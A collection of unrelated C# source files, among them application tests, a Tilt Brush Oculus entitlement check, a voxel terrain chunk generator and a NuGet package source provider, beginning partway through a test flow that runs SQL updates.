@"Supply1") return false; return true; }, @"add resource supply"), Annotated(@"add resource supply") ); flow.Then<Relate>(); flow.Then<Add> ( Add<ResourceSupplyItem>(x=> { if (x.Quantity != 10) return false; if (x.ResourceSupplyId != 0) return false; if (x.ResourceId != 181) return false; return true; }, @"add resource supply item"), Annotated(@"add resource supply item") ); flow.Then<Relate>(); flow.Then<Add> ( Add<ResourceSupplyItem>(x=> { if (x.Quantity != 10) return false; if (x.ResourceSupplyId != 0) return false; if (x.ResourceId != 182) return false; return true; }, @"add resource supply item"), Annotated(@"add resource supply item") ); flow.Then<Relate>(); flow.Then<Add> ( Add<ResourceSupplyItem>(x=> { if (x.Quantity != 10) return false; if (x.ResourceSupplyId != 0) return false; if (x.ResourceId != 183) return false; return true; }, @"add resource supply item"), Annotated(@"add resource supply item") ); flow.Then<Save>(); flow.Then<Sql> ( SqlCommand(@"UPDATE [r] SET [r].[ItemsCount] = (SELECT COUNT(*) FROM [ResourceSupplyItem] [item] WHERE [item].[ResourceSupplyId] = {0}) FROM [ResourceSupply] [r] "), SqlParameters(46) ); flow.Then<Save>(); flow.Then<Sql> ( SqlCommand(@" UPDATE [res] SET [res].[StockQuantity] = ([res].[StockQuantity] + [item].[Quantity]) FROM [Resource] [res] INNER JOIN [ResourceSupplyItem] [item] ON [item].[ResourceId] = [res].[Id] WHERE [item].[ResourceSupplyId] = {0} "), SqlParameters(46) ); flow.Then<Sql> ( SqlCommand(@"UPDATE [r] SET [r].[Status] = {0} FROM [ResourceSupply] [r] WHERE [r].[Id] = {1}"), SqlParameters(4, 46) ); flow.Then<Save>(); flow.TheEnd(); } } }
// Copyright 2020 The Tilt Brush Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. using UnityEngine; namespace TiltBrush { public class OculusAuth : MonoBehaviour { #if OCULUS_SUPPORTED private bool m_authenticated = false; // The App ID is a public identifier for the Tilt Brush app on the Oculus platform. It is // analogous to Apple's App ID, which shows up in URLs related to the app. private string m_TiltBrushOculusRiftAppId => App.Config.OculusSecrets?.ClientId; private string m_TiltBrushOculusMobileAppId => App.Config.OculusMobileSecrets?.ClientId; private void Awake() { string id = App.Config.IsMobileHardware ? m_TiltBrushOculusMobileAppId : m_TiltBrushOculusRiftAppId; if (string.IsNullOrEmpty(id)) { return; } Oculus.Platform.Core.AsyncInitialize(id); Oculus.Platform.Entitlements.IsUserEntitledToApplication().OnComplete(EntitlementCallback); } public void Update() { Oculus.Platform.Request.RunCallbacks(); } private void EntitlementCallback(Oculus.Platform.Message msg) { string strMsg; if (msg.IsError) { if (msg.GetError() != null) { strMsg = msg.GetError().Message; } else { strMsg = "Authentication failed"; } } else { m_authenticated = true; strMsg = ""; } if (strMsg != string.Empty) { Debug.Log(strMsg, this); } if (!m_authenticated) { Debug.Log("User not authenticated! You must be logged in to continue."); Application.Quit(); } } #endif // OCULUS_SUPPORTED } } // namespace TiltBrush
using ReactUnity.Styling; namespace ReactUnity.Converters { public interface IStyleParser { object FromString(string value); } public interface IStyleConverter { object Convert(object value); bool CanHandleKeyword(CssKeyword keyword); } }
using CodeBuilderApp.Document.Interfaces; using System.Collections.Generic; namespace CodeBuilderApp.Document.Elements { public sealed class DocumentElement : IDocument { public DocumentElement(IEnumerable<IUsing> usings, INamespace @namespace, IEnumerable<IClass> classes) { this.Usings = usings; this.Namespace = @namespace; this.Classes = classes; } public DocumentElement(IEnumerable<IUsing> usings, INamespace @namespace, IClass @class) : this(usings, @namespace, new List<IClass> { @class }) { } public IEnumerable<IClass> Classes { get; } public INamespace Namespace { get; } public IEnumerable<IUsing> Usings { get; } } }
using System.Collections; using System.Collections.Generic; using NUnit.Framework; using Mirror; using Mirror.SimpleWeb; using UnityEngine; using UnityEngine.TestTools; using UnityEngine.SceneManagement; using UnityEditor.TestTools; using UnityEditor; using System.IO; public class WebTestNetManTests { GameObject netObj; NetworkManager network; [OneTimeSetUp] public void SetUp() { netObj = new GameObject(); network = netObj.AddComponent<WebTestNetworkManager>(); } [Test] public void CanBeCreated() { Assert.IsNotNull(network); } [UnityTest] public IEnumerator CanStartNetworkAsHost() { network.StartHost(); yield return new WaitForSecondsRealtime(1f); network.StopHost(); } [UnityTest] public IEnumerator CanStartNetworkAsServer() { network.StartServer(); yield return new WaitForSecondsRealtime(1f); network.StopServer(); } [OneTimeTearDown] public void TearDown() { GameObject.Destroy(netObj); } }
namespace BlazorShop.Tests.UserTests.Queries { using static Testing; public class GetUserByIdTests : TestBase { [Test] public async Task ShouldReturnRoleNames() { var query = new GetRolesQuery(); var result = await SendAsync(query); //result.Select(x => x.Name).Should().NotBeEmpty().Should().NotBeNull(); } [Test] public async Task ShouldReturnAllRolesWithAllDetails() { await AddAsync(new Role { Name = "Admin", NormalizedName = "ADMIN" }); await AddAsync(new Role { Name = "User" }); await AddAsync(new Role { Name = "Manager" }); var query = new GetRolesQuery(); var result = await SendAsync(query); //result.Should().NotBeEmpty().Should().NotBeNull(); //result.Capacity.Should().Be(3); //result.First().Name.Should().Equals("Admin"); } } }
using UnityEngine; public class Chunk : MonoBehaviour { private float[] voxels; private Vector3Int size; public float[] Voxels { get => voxels; set => voxels = value; } public Vector3Int Size { get => size; } /// <summary> /// Populates the voxel array with values from the Perlin noise. /// </summary> public void GenerateNoise(Vector3Int voxelGrid, Vector3Int chunkPos, float freq, int octave) { size = voxelGrid + Vector3Int.one; voxels = new float[size.x * size.y * size.z]; for (int k = 0; k < size.z; k++) { for (int j = 0; j < size.y; j++) { for (int i = 0; i < size.x; i++) { int index = i + j * size.x + k * size.x * size.y; voxels[index] = Perlin.Fbm( (float)i / (size.x - 1) + chunkPos.x, (float)j / (size.y - 1) + chunkPos.y, (float)k / (size.z - 1) + chunkPos.z, octave); } } } } /// <summary> /// Creates a ground to the voxel array using values from the Perlin noise, above which the /// voxels values are faded away the higher they are from the ground. /// </summary> public void AddGround(float groundLevel, Vector3Int chunkPos, float range, float freq, int octave) { for (int k = 0; k < size.z; k++) { for (int j = 0; j < size.y; j++) { for (int i = 0; i < size.x; i++) { int index = i + j * size.x + k * size.x * size.y; float voxelHeight = j * LevelGeneration.VoxelSize.y + chunkPos.y; float groundHeight = range * Perlin.Fbm( (float)i / (size.x - 1) + chunkPos.x, (float)k / (size.z - 1) + chunkPos.z, octave); if (voxelHeight > groundLevel + groundHeight) { voxels[index] += Mathf.Lerp(0, 1, (voxelHeight - (groundLevel + groundHeight)) / (LevelGeneration.LevelSize.y - (groundLevel + groundHeight))); } } } } } /// <summary> /// Adds a box to the voxels using Unity Bounds. /// </summary> public void AddBox(Vector3 center, Vector3 boxSize, Vector3 chunkSize, float surface) { Bounds box = new Bounds(center, boxSize); for (int k = 0; k < size.z; k++) { for (int j = 0; j < size.y; j++) { for (int i = 0; i < size.x; i++) { Vector3 voxelPos = new Vector3( (float)i / (size.x - 1) * chunkSize.x, (float)j / (size.y - 1) * chunkSize.y, (float)k / (size.z - 1) * chunkSize.z); if (box.Contains(voxelPos)) { int index = i + j * size.x + k * size.x * size.y; voxels[index] = surface - 0.01f; } } } } } /// <summary> /// Adds a really rough looking sphere to the voxels. /// </summary> public void AddSphere(Vector3 center, float radius, Vector3 chunkSize, float surface) { for (int k = 0; k < size.z; k++) { for (int j = 0; j < size.y; j++) { for (int i = 0; i < size.x; i++) { Vector3 voxelPos = new Vector3( (float)i / (size.x - 1) * chunkSize.x, (float)j / (size.y - 1) * chunkSize.y, (float)k / (size.z - 1) * chunkSize.z); float dist = (center - voxelPos).magnitude; if (dist <= radius) { int index = i + j * size.x + k * size.x * size.y; voxels[index] = surface - 0.01f; } } } } } /// <summary> /// Generates meshes from the voxel array using cube marching. /// </summary> public void CubeMarch() { Mesh[] meshes = CubeMarching.March(voxels, size, LevelGeneration.VoxelSize, LevelGeneration.Surface); // Remove previous child meshes when editing. for (int i = 0; i < transform.childCount; i++) { Destroy(transform.GetChild(i).gameObject); } for (int i = 0; i < meshes.Length; i++) { Transform nextMesh = new GameObject("Mesh " + i).transform; nextMesh.SetParent(transform, false); MeshFilter filter = nextMesh.gameObject.AddComponent<MeshFilter>(); filter.mesh = meshes[i]; MeshRenderer renderer = nextMesh.gameObject.AddComponent<MeshRenderer>(); renderer.sharedMaterial = new Material(Shader.Find("Standard")); //renderer.sharedMaterial.mainTexture = Resources.Load("Color") as Texture; nextMesh.gameObject.AddComponent<MeshCollider>(); } } }
using System; using System.Linq; using System.Web.Mvc; using Microsoft.VisualStudio.TestTools.UnitTesting; using Moq; using EasyEnglish.Controllers; using EasyEnglish.Models; using EasyEnglish.Tests.Helpers; using EasyEnglish.ViewModels; namespace EasyEnglish.Tests.Controllers { [TestClass] public class ReviewControllerTest { private Mock<ControllerContext> ctrlContext = new Mock<ControllerContext>(); private Mock<IViRepository> mockRepository = new Mock<IViRepository>(); [TestInitialize] public void BeginTestMethod() { TestHelper.SetUser(ctrlContext, userId: 2); mockRepository.Setup(m => m.Cards).Returns(new Card[] { new Card {Id = 1, UserId = 2, Question = "w1", Answer = "m1", ReviewedAt = DateTime.Parse("2014/01/01")}, new Card {Id = 2, UserId = 2, Question = "w2", Answer = "m2", ReviewedAt = DateTime.Parse("2014/01/02")}, new Card {Id = 3, UserId = 2, Question = "w3", Answer = "m3", ReviewedAt = DateTime.Parse("2014/01/03")}, new Card {Id = 4, UserId = 2, Question = "w4", Answer = "m4", ReviewedAt = DateTime.Parse("2014/01/04")}, new Card {Id = 5, UserId = 2, Question = "w5", Answer = "m5", ReviewedAt = DateTime.Parse("2014/01/05")}, new Card {Id = 6, UserId = 3, Question = "w6", Answer = "m6", ReviewedAt = DateTime.Parse("2014/01/06")}, new Card {Id = 7, UserId = 3, Question = "w7", Answer = "m7", ReviewedAt = DateTime.Parse("2014/01/07")} }.OrderByDescending(c => c.CreatedAt) .AsQueryable()); } [TestMethod] public void IndexTest() { // Arrange var controller = new ReviewController(mockRepository.Object); controller.ControllerContext = ctrlContext.Object; // Act var result = controller.Index(page: 0) as ViewResult; var cards = ((ReviewViewModel)result.Model).Cards.ToArray(); var viewCard = ((ReviewViewModel)result.Model).ViewCard; // Assert Assert.IsNotNull(result); Assert.AreEqual(cards.Length, 5); Assert.AreEqual(1, cards[0].Id); Assert.AreEqual(2, cards[1].Id); Assert.AreEqual(3, cards[2].Id); Assert.AreEqual(4, cards[3].Id); Assert.AreEqual(5, cards[4].Id); Assert.AreEqual(1, viewCard.Id); } [TestMethod] public void AnswerTest() { // Arrange var controller = new ReviewController(mockRepository.Object); controller.ControllerContext = ctrlContext.Object; int id = 1, page = 0; var result = controller.Index(page) as ViewResult; var viewModel = result.Model as ReviewViewModel; // Act var resultGet = controller.Answer(id, viewModel) as ViewResult; viewModel = resultGet.Model as ReviewViewModel; var card = viewModel.ViewCard; var resultPost = controller.Answer(id, page, "Perfect", viewModel.ReviewMode) as RedirectToRouteResult; mockRepository.Verify(m => m.SaveCard(card)); // Assert Assert.IsNotNull(resultGet); Assert.AreEqual("w1", card.Question); Assert.IsNotNull(resultPost); Assert.AreEqual("Index", resultPost.RouteValues["action"]); } [TestMethod] public void AnswerTypingTest() { // Arrange var controller = new ReviewController(mockRepository.Object); controller.ControllerContext = ctrlContext.Object; int id = 1, page = 0; var result = controller.Index(page, "Typing") as ViewResult; var viewModel = result.Model as ReviewViewModel; viewModel.QuestionedAt = DateTime.Now; viewModel.MyAnswer = "w1"; // Act var resultGet = controller.Answer(id, viewModel) as ViewResult; viewModel = resultGet.Model as ReviewViewModel; var card = viewModel.ViewCard; var evaluation = viewModel.IsPerfect ? "Perfect" : "Almost"; var resultPost = controller.Answer(id, page, evaluation, viewModel.ReviewMode) as RedirectToRouteResult; mockRepository.Verify(m => m.SaveCard(card)); // Assert Assert.IsNotNull(resultGet); Assert.AreEqual("Perfect", evaluation); Assert.IsNotNull(resultPost); Assert.AreEqual("Index", resultPost.RouteValues["action"]); } [TestMethod] public void AnswerBlankTest() { // Arrange var controller = new ReviewController(mockRepository.Object); controller.ControllerContext = ctrlContext.Object; int id = 1, page = 0; var result = controller.Index(page, "Blank") as ViewResult; var viewModel = result.Model as ReviewViewModel; viewModel.QuestionedAt = DateTime.Now; viewModel.MyAnswer = "w"; viewModel.Blank = "_1"; viewModel.BlankAnswer = 'w'; // Act var resultGet = controller.Answer(id, viewModel) as ViewResult; var card = viewModel.ViewCard as Card; var evaluation = viewModel.IsPerfect ? "Perfect" : "Almost"; var resultPost = controller.Answer(id, page, evaluation, viewModel.ReviewMode) as RedirectToRouteResult; mockRepository.Verify(m => m.SaveCard(card)); // Assert Assert.IsNotNull(resultGet); Assert.AreEqual("Perfect", evaluation); Assert.IsNotNull(resultPost); Assert.AreEqual("Index", resultPost.RouteValues["action"]); } [TestMethod] public void StatusTest() { // Arrange var controller = new ReviewController(mockRepository.Object); controller.ControllerContext = ctrlContext.Object; // Act var result = controller.Status() as ViewResult; var cards = ((IQueryable<Card>)result.Model).ToArray(); // Assert Assert.IsNotNull(result); Assert.AreEqual(cards.Length, 5); } } }
// Copyright (c) .NET Foundation. All rights reserved. // Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using System; using System.Collections.Generic; using System.ComponentModel.Composition; using System.IO; using NuGet.Protocol.Core.Types; namespace NuGet.VisualStudio { [Export(typeof(IVsPackageSourceProvider))] public class VsPackageSourceProvider : IVsPackageSourceProvider { private readonly Configuration.IPackageSourceProvider _packageSourceProvider; [ImportingConstructor] public VsPackageSourceProvider(ISourceRepositoryProvider sourceRepositoryProvider) { if (sourceRepositoryProvider == null) { throw new ArgumentNullException(nameof(sourceRepositoryProvider)); } _packageSourceProvider = sourceRepositoryProvider.PackageSourceProvider; _packageSourceProvider.PackageSourcesChanged += PackageSourcesChanged; } public IEnumerable<KeyValuePair<string, string>> GetSources(bool includeUnOfficial, bool includeDisabled) { var sources = new List<KeyValuePair<string, string>>(); try { foreach (var source in _packageSourceProvider.LoadPackageSources()) { if ((IsOfficial(source) || includeUnOfficial) && (source.IsEnabled || includeDisabled)) { // Name -> Source Uri var pair = new KeyValuePair<string, string>(source.Name, source.Source); sources.Add(pair); } } } catch (Exception ex) when (!IsExpected(ex)) { throw new InvalidOperationException(ex.Message, ex); } return sources; } public event EventHandler SourcesChanged; private void PackageSourcesChanged(object sender, EventArgs e) { if (SourcesChanged != null) { // No information is given in the event args, callers must re-request GetSources SourcesChanged(this, new EventArgs()); } } private static bool IsOfficial(Configuration.PackageSource source) { bool official = source.IsOfficial; // override the official flag if the domain is nuget.org if (source.Source.StartsWith("http://www.nuget.org/", StringComparison.OrdinalIgnoreCase) || source.Source.StartsWith("https://www.nuget.org/", StringComparison.OrdinalIgnoreCase) || source.Source.StartsWith("http://api.nuget.org/", StringComparison.OrdinalIgnoreCase) || source.Source.StartsWith("https://api.nuget.org/", StringComparison.OrdinalIgnoreCase)) { official = true; } return official; } private static bool IsExpected(Exception ex) { return ex is ArgumentException || ex is ArgumentNullException || ex is InvalidDataException || ex is InvalidOperationException; } } }
using System.Net; using System.Web.Mvc; namespace Biobanks.Web.Results { public class HttpForbiddenResult : HttpStatusCodeResult { public HttpForbiddenResult() : base(HttpStatusCode.Forbidden) { } } }
using DevExpress.ExpressApp; using DevExpress.ExpressApp.Model; using DevExpress.ExpressApp.Model.Core; using Xpand.ExpressApp.FilterDataStore.Model; using Xpand.ExpressApp.FilterDataStore.NodeGenerators; using Xpand.Persistent.BaseImpl.PersistentMetaData; using System.Linq; namespace FeatureCenter.Module.WorldCreator { public class ModelSystemTablesUpdater : ModelNodesGeneratorUpdater<ModelSystemTablesNodesGenerator> { public override void UpdateNode(ModelNode node) { var typeInfos = XafTypesInfo.Instance.PersistentTypes.Where(info => { var startsWith = (info.Type.Namespace+"").StartsWith(typeof(PersistentClassInfo).Namespace+""); return startsWith; }); foreach (var typeInfo in typeInfos) { node.AddNode<IModelFilterDataStoreSystemTable>(typeInfo.Type.Name); } } } }
using System; namespace Client.UI { /// <summary> /// User interface player infor controller.创建角色 /// </summary> public class UIPlayerInforController:UIController<UIPlayerInforWindow,UIPlayerInforController> { protected override string _windowResource { get { return "prefabs/ui/scene/uiplayerinfor.ab"; } } public UIPlayerInforController () { } /// <summary> /// The type of the window. 窗口的类型,如果是0,新建角色 如果是1人物信息 /// </summary> public int windowType=0; } }
using ETModel; namespace ETHotfix { [Event(EventIdType.LanguageChange)] class LanguageChange_RefreshHallView : AEvent { public override void Run() { FUI fui = Game.Scene.GetComponent<FUIComponent>().Get(FUIType.Hall); if (fui == null) return; HallViewComponent hallView = fui.GetComponent<HallViewComponent>(); hallView.RefreshData(); } } }
using SixLabors.ImageSharp; using System; using System.Threading.Tasks; using Xunit; namespace LineMessaging.Test { public class LineMessagingClientTest { private readonly string userId1; private readonly string userId2; private readonly string roomId; private readonly string groupId; private readonly LineMessagingClient apiClient; public LineMessagingClientTest() { userId1 = Environment.GetEnvironmentVariable("LINE_TEST_USER_ID_1"); userId2 = Environment.GetEnvironmentVariable("LINE_TEST_USER_ID_2"); roomId = Environment.GetEnvironmentVariable("LINE_TEST_ROOM_ID"); groupId = Environment.GetEnvironmentVariable("LINE_TEST_GROUP_ID"); var accessToken = Environment.GetEnvironmentVariable("LINE_ACCESS_TOKEN"); apiClient = new LineMessagingClient(accessToken); } [Fact] public async Task GetMessageContentTest() { const string messageId = "7349950403913"; var bytes = await apiClient.GetMessageContent(messageId); Assert.NotNull(bytes); var image = Image.Load(bytes); Assert.NotNull(image); } [Fact] public async Task PushMessageTest() { await apiClient.PushMessage(userId1, "PushMessageTest"); } [Fact] public async Task PushMessagesTest() { await apiClient.PushMessage(userId1, "PushMessagesTest 1", "PushMessagesTest 2"); } [Fact] public async Task PushLineMulticastMessageTest() { await apiClient.MulticastMessage(new[] { userId1, userId2 }, "PushLineMulticastMessageTest"); } [Fact] public async Task PushLineMulticastMessagesTest() { await apiClient.MulticastMessage(new[] { userId1, userId2 }, "PushLineMulticastMessagesTest 1", "PushLineMulticastMessagesTest 2"); } [Fact] public async Task GetProfileTest() { var profile = await apiClient.GetProfile(userId1); Assert.NotNull(profile); } [Fact] public async Task GetRoomMemberTest() { var profile = await apiClient.GetRoomMember(roomId, userId1); Assert.NotNull(profile); } [Fact] public async Task GetGroupMemberTest() { var profile = await apiClient.GetGroupMember(groupId, userId1); Assert.NotNull(profile); } } }
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Haley.Abstractions; using System.ComponentModel; using Haley.Models; using Haley.Events; using System.Windows.Input; namespace DevelopmentWPF.ViewModels { public class VMSubMain : ChangeNotifier, IHaleyControlVM { private bool _ischecked; public bool ischecked { get { return _ischecked; } set { _ischecked = value; onPropertyChanged(); } } private string _content; public event EventHandler<FrameClosingEventArgs> OnControlClosed; public string content { get { return _content; } set { _content = value; onPropertyChanged(); } } public VMSubMain() { ischecked = false; content = $@"this is from {nameof(VMSubMain)}"; } } }
using System; using System.Collections.Generic; using System.Text; namespace Application.DTOs.Account { public class AccountViewModel { public string FirstName { get; set; } public string LastName { get; set; } public virtual bool Active { get; set; } public virtual bool Deleted { get; set; } public string Country { get; set; } public DateTime DateOfBirth { get; set; } public string Profilephoto { get; set; } public string Avatar { get; set; } public string PhoneNumber { get; set; } public string Email { get; set; } public string UserName { get; set; } } }
namespace dk.schau.AzureApps.Modules.Comics.DomainModel { public interface IComicsDriver { string Execute(string url, string name); } }
namespace ConcurrentDbActions.Domain.Enums { public enum WarehouseTypeEnum { Default = 1 } }
using System; using System.Linq; using FirebirdDbComparer.Compare; using NUnit.Framework; namespace FirebirdDbComparer.Tests.Compare.ComparerTestsData.Changing { public class ColumnToTableWithoutPosition_00 : ComparerTests.TestCaseSpecificAsserts { public override void AssertScript(ScriptResult compareResult) { base.AssertScript(compareResult); var commands = compareResult.AllStatements.ToArray(); Assert.That(commands.Count(), Is.EqualTo(1)); } } }
using Autofac; using DfuToolCli.Tools; using NUnit.Framework; namespace DfuToolCli.Tests { /// <summary> /// Class to use IoC container in tests. /// </summary> public class BaseTestFixture { private readonly IContainer _container; public BaseTestFixture() { var builder = new ContainerBuilder(); builder.RegisterModule(new DfuLogicModule()); builder.RegisterModule(new ToolsModule()); this._container = builder.Build(); } [OneTimeTearDown] public void TearDown() { this.ShutdownIoC(); } protected TEntity Resolve<TEntity>() => this._container.Resolve<TEntity>(); protected void ShutdownIoC() => this._container.Dispose(); } }
using System; namespace NetCoreAPI { public class PostParameters { public string FileName { get; set; } public string CredentialURL { get; set; } public string SheetName { get; set; } } }
// Copyright (c) Charlie Poole, Rob Prouse and Contributors. MIT License - see LICENSE.txt using NUnit.Framework; namespace NUnit.TestData { [TestFixture] public class AssertCountFixture { public static readonly int ExpectedAssertCount = 5; [Test] public void BooleanAssert() { Assert.That(2 + 2 == 4); } [Test] public void ConstraintAssert() { Assert.That(2 + 2, Is.EqualTo(4)); } [Test] public void ThreeAsserts() { Assert.That(2 + 2 == 4); Assert.That(2 + 2, Is.EqualTo(4)); Assert.That(2 + 2, Is.EqualTo(5)); } } }
namespace NDceRpc.ExplicitBytes { /// <summary> /// Client side transport interfaces /// </summary> public interface IExplicitBytesClient { /// <summary> /// /// </summary> /// <param name="arg"></param> /// <returns></returns> byte[] Execute(byte[] arg); /// <summary> /// /// </summary> void Dispose(); } }